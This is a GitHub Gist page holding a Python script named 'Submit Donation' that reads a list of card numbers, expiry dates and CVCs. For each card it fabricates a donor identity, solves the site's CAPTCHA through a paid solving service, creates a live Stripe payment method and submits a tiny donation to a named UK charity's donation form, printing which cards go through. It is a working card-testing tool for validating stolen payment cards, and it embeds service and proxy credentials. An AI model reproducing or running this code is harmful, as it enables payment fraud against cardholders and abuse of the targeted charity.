Created
October 20, 2023 12:24
-
-
Save likem3/d8e714017a4737b1dd79aa5330ac47e7 to your computer and use it in GitHub Desktop.
Submit Donation
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
import asyncio | |
import random | |
import requests | |
import uuid | |
import urllib | |
import re | |
from faker import Faker | |
from datetime import datetime | |
from requests_html import HTMLSession | |
from capmonstercloudclient import CapMonsterClient, ClientOptions | |
from capmonstercloudclient.requests import RecaptchaV2ProxylessRequest | |
from bs4 import BeautifulSoup | |
if sys.version_info[0] == 3 and sys.version_info[1] >= 8 and sys.platform.startswith('win'): | |
asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy()) | |
class Data: | |
def __init__(self): | |
fake = Faker("en_US") | |
self.fakes = fake | |
listtitle = ['Mr', "Mrs", "Ms", "Miss", "Master"] | |
self.title = random.choice(listtitle) | |
if self.title == "Mr" or self.title == "Master": | |
self.fname = fake.first_name_male() | |
self.lname = fake.last_name_male() | |
self.fullname = f"{self.fname} {self.lname}" | |
self.gender = "Male" | |
else: | |
self.fname = fake.first_name_female() | |
self.lname = fake.last_name_female() | |
self.fullname = f"{self.fname} {self.lname}" | |
self.gender = "Female" | |
username = fake.user_name() | |
randint = str(random.randint(1000, 9999)) | |
self.email = f"{username}{randint}@gmail.com" | |
self.titlename = f"{self.title} {self.fullname}" | |
self.phone = fake.msisdn() | |
self.street = fake.street_name() | |
self.city = fake.city() | |
self.state = fake.state() | |
self.state_code = fake.state_abbr(self.state) | |
self.zipcode = fake.zipcode_in_state(state_abbr=self.state_code) | |
self.user_agent = fake.user_agent() | |
self.country_code = fake.country_code() | |
self.dob = fake.date_of_birth(tzinfo=None, minimum_age=18, maximum_age=35) | |
class AppEngine: | |
def __init__(self, number, month, year, cvc, current_line=0, total_line=0): | |
self.base_url = "https://www.ncm.org.uk" | |
self.page_url = self.base_url + '/donate/' | |
self.page_capkey = "6LdwlBseAAAAAFrh9qgQ-TgtslvnrY7nTykpWAEW" # "6Le3w18UAAAAAHRtNAJqKqu8-nxL1FJjiFvBnTPJ" | |
self.data = Data() | |
self.s = requests.Session() | |
self.s.headers = { | |
'Origin': self.base_url, | |
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', | |
'Accept-Language': 'en-US,en;q=0.9', | |
'Sec-Fetch-Dest': 'document', | |
'Sec-Fetch-Mode': 'navigate', | |
'Sec-Fetch-Site': 'none', | |
'Sec-Fetch-User': '?1', | |
'Upgrade-Insecure-Requests': '1', | |
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36', | |
} | |
use_proxy = False | |
if use_proxy: | |
self.s.timeout = 15 | |
self.s.proxies = { | |
'http': 'http://kontolsadsa-zone-resi-region-us:[email protected]:6001', | |
'https': 'http://kontolsadsa-zone-resi-region-us:[email protected]:6001', | |
} | |
self.dt = datetime.now() | |
self.ts = datetime.timestamp(self.dt) | |
self.tss = int(self.ts) | |
randamount = str(random.randint(1, 9)) | |
self.amount = f"0.0{randamount}" | |
self.amounstr = f"${self.amount}" | |
self.number = number | |
self.cookies = None | |
# self.asession = AsyncHTMLSession() | |
if len(year) == 4: | |
self.year = year | |
else: | |
self.year = f"20{year}" | |
self.month = month | |
self.cvc = cvc | |
self.guid = str(uuid.uuid4()) | |
self.muid = str(uuid.uuid4()) | |
self.sid = str(uuid.uuid4()) | |
self.error_folder = "debug-appengine" | |
date = self.dt.strftime("%d-%m-%Y") | |
self.result_folder = f'Result-appengine-{date}' | |
self.current_line = current_line + 1 | |
self.total_line = total_line | |
self.nonce = None | |
async def solve_captcha_async(self, url, capkey): | |
key = "22c7c2439bb1b5eecc63026909417475" | |
num_requests = 1 | |
client_options = ClientOptions(api_key=key) | |
cap_monster_client = CapMonsterClient(options=client_options) | |
recaptcha3request = RecaptchaV2ProxylessRequest(websiteUrl=url, | |
websiteKey=capkey, | |
min_score=0.9) | |
tasks = [asyncio.create_task(cap_monster_client.solve_captcha(recaptcha3request)) | |
for _ in range(num_requests)] | |
return await asyncio.gather(*tasks, return_exceptions=True) | |
def get_state_abbr(self): | |
state_abbr_dict = { | |
'Alabama': 'AL', 'Alaska': 'AK', 'Arizona': 'AZ', 'Arkansas': 'AR', 'California': 'CA', | |
'Colorado': 'CO', 'Connecticut': 'CT', 'Delaware': 'DE', 'Florida': 'FL', 'Georgia': 'GA', | |
'Hawaii': 'HI', 'Idaho': 'ID', 'Illinois': 'IL', 'Indiana': 'IN', 'Iowa': 'IA', | |
'Kansas': 'KS', 'Kentucky': 'KY', 'Louisiana': 'LA', 'Maine': 'ME', 'Maryland': 'MD', | |
'Massachusetts': 'MA', 'Michigan': 'MI', 'Minnesota': 'MN', 'Mississippi': 'MS', 'Missouri': 'MO', | |
'Montana': 'MT', 'Nebraska': 'NE', 'Nevada': 'NV', 'New Hampshire': 'NH', 'New Jersey': 'NJ', | |
'New Mexico': 'NM', 'New York': 'NY', 'North Carolina': 'NC', 'North Dakota': 'ND', 'Ohio': 'OH', | |
'Oklahoma': 'OK', 'Oregon': 'OR', 'Pennsylvania': 'PA', 'Rhode Island': 'RI', 'South Carolina': 'SC', | |
'South Dakota': 'SD', 'Tennessee': 'TN', 'Texas': 'TX', 'Utah': 'UT', 'Vermont': 'VT', | |
'Virginia': 'VA', 'Washington': 'WA', 'West Virginia': 'WV', 'Wisconsin': 'WI', 'Wyoming': 'WY' | |
} | |
name, abbr = random.choice(list(state_abbr_dict.items())) | |
#state_name = random.choice() | |
return name, abbr | |
def get_donating_page(self): | |
r = self.s.get(self.page_url) | |
self.cookies = r.cookies | |
return r.text | |
def submit_payment(self): | |
try: | |
self.state_name, self.state_abbr = self.get_state_abbr() | |
self.zipcode = self.data.fakes.zipcode_in_state(state_abbr=self.state_abbr) | |
address = f'{self.data.street}, {self.state_name}' | |
data = { | |
'type': 'card', | |
'card[number]': self.number, | |
'card[cvc]': self.cvc, | |
'card[exp_month]': self.month, | |
'card[exp_year]': self.year, | |
'billing_details[name]': self.data.titlename, | |
'billing_details[address][country]': 'US', | |
'billing_details[address][line1]': address, | |
'billing_details[address][postal_code]': self.zipcode, | |
} | |
data_ = urllib.parse.urlencode(data) | |
headers = { | |
'Content-Type': 'application/x-www-form-urlencoded', | |
'Authorization': 'Bearer pk_live_51J6AY2FSTzaRUh3nRBXIer1okKClX8jR92PMLkPx69oMV463QVQa1jTtmOYtLPBlmxDGBZVmVcK7Z5fVT2sMURtL00kLMM6ZN1' | |
} | |
form_url = 'https://api.stripe.com/v1/payment_methods' | |
response = self.s.post(form_url, data=data, headers=headers) | |
return response.json() | |
except Exception as e: | |
print('Error submit_payment', str(e)) | |
return | |
def admin_payload(self, form_dict={}, payment_dict={}): | |
billing_detail_obj = payment_dict.get('billing_details', {}) | |
address_obj = billing_detail_obj.get('address', {}) | |
address = address_obj.get('line1') | |
postal_code = address_obj.get('postal_code') | |
payload = { | |
'charitable_form_id': form_dict.get('charitable_form_id'), | |
'_charitable_donation_nonce': form_dict.get('_charitable_donation_nonce'), | |
'_wp_http_referer': form_dict.get('_wp_http_referer'), | |
'campaign_id': form_dict.get('campaign_id'), | |
'description': form_dict.get('description'), | |
'ID': form_dict.get('ID'), | |
'gateway': form_dict.get('gateway'), | |
'donation_amount': 'custom', | |
'custom_donation_amount': 1.0, | |
'title': self.data.title, | |
'first_name': self.data.fname, | |
'last_name': self.data.lname, | |
'email': self.data.email, | |
'address': address, | |
'address_2': '', | |
'address_3': '', | |
'city': self.data.city, | |
'state': self.data.state, | |
'postcode': postal_code, | |
'country': 'US', | |
'phone': '', | |
'donor_comment': '', | |
'stripe_payment_method': payment_dict.get('id'), | |
'action': 'make_donation', | |
'form_action': 'make_donation', | |
} | |
return payload | |
def run(self): | |
su = asyncio.run(self.solve_captcha_async(self.page_url, self.page_capkey)) | |
g_resp = su[0]['gRecaptchaResponse'] | |
payment_resp = self.submit_payment() | |
page = self.get_donating_page() | |
page_soap = BeautifulSoup(page, 'html.parser') | |
inputs = page_soap.find('form', {'id': 'charitable-donation-form'}).find_all('input') | |
form_payload = {} | |
for input in inputs: | |
if input.get('name') and input.get('value'): | |
form_payload[input.get('name')] = input.get('value') | |
payload = self.admin_payload(form_dict=form_payload, payment_dict=payment_resp) | |
payload['charitable_grecaptcha_token'] = g_resp | |
payload['g-recaptcha-response'] = g_resp | |
payload['_wp_http_referer'] = self.page_url | |
headers = { | |
'Origin': self.base_url, | |
'Referer': self.page_url, | |
'Content-Type': 'application/x-www-form-urlencoded', | |
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36', | |
# 'X-WP-Nonce': payload.get('_charitable_donation_nonce') | |
} | |
response = self.s.post('https://www.ncm.org.uk/wp/wp-admin/admin-ajax.php', data=payload, headers=headers, cookies=self.cookies) | |
try: | |
resp = response.json() | |
status = resp.get('success') | |
message = resp.get('errors')[0] | |
if resp.get('errors'): | |
print(f'{self.number} status success {status} {str(message)}') | |
except Exception as e: | |
print(f'{self.number} status error {str(e)}') | |
if __name__ == '__main__': | |
if len(sys.argv) < 2: | |
print("Usage: python script.py '<str:file_path>'") | |
sys.exit(1) | |
file_path = str(sys.argv[1]) | |
file_path.replace('\\\\', '\\') | |
try: | |
with open(file_path, 'r') as file: | |
lines = file.read().splitlines() | |
total_line = len(lines) | |
for line, content in enumerate(lines): | |
cc = content.split(" ") | |
cc_number = cc[0] | |
exp_date_list = cc[1].split('/') | |
cc_exp_month = exp_date_list[0] | |
cc_exp_year = exp_date_list[1] | |
cc_cvc = cc[2] | |
s = AppEngine( | |
number = cc_number, | |
month = cc_exp_month, | |
year = cc_exp_year, | |
cvc = cc_cvc, | |
current_line=line, | |
total_line=total_line | |
).run() | |
file.close() | |
except FileNotFoundError: | |
print(f"The file at {file_path} was not found.") | |
except Exception as e: | |
print(f"An error occurred: {str(e)}") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment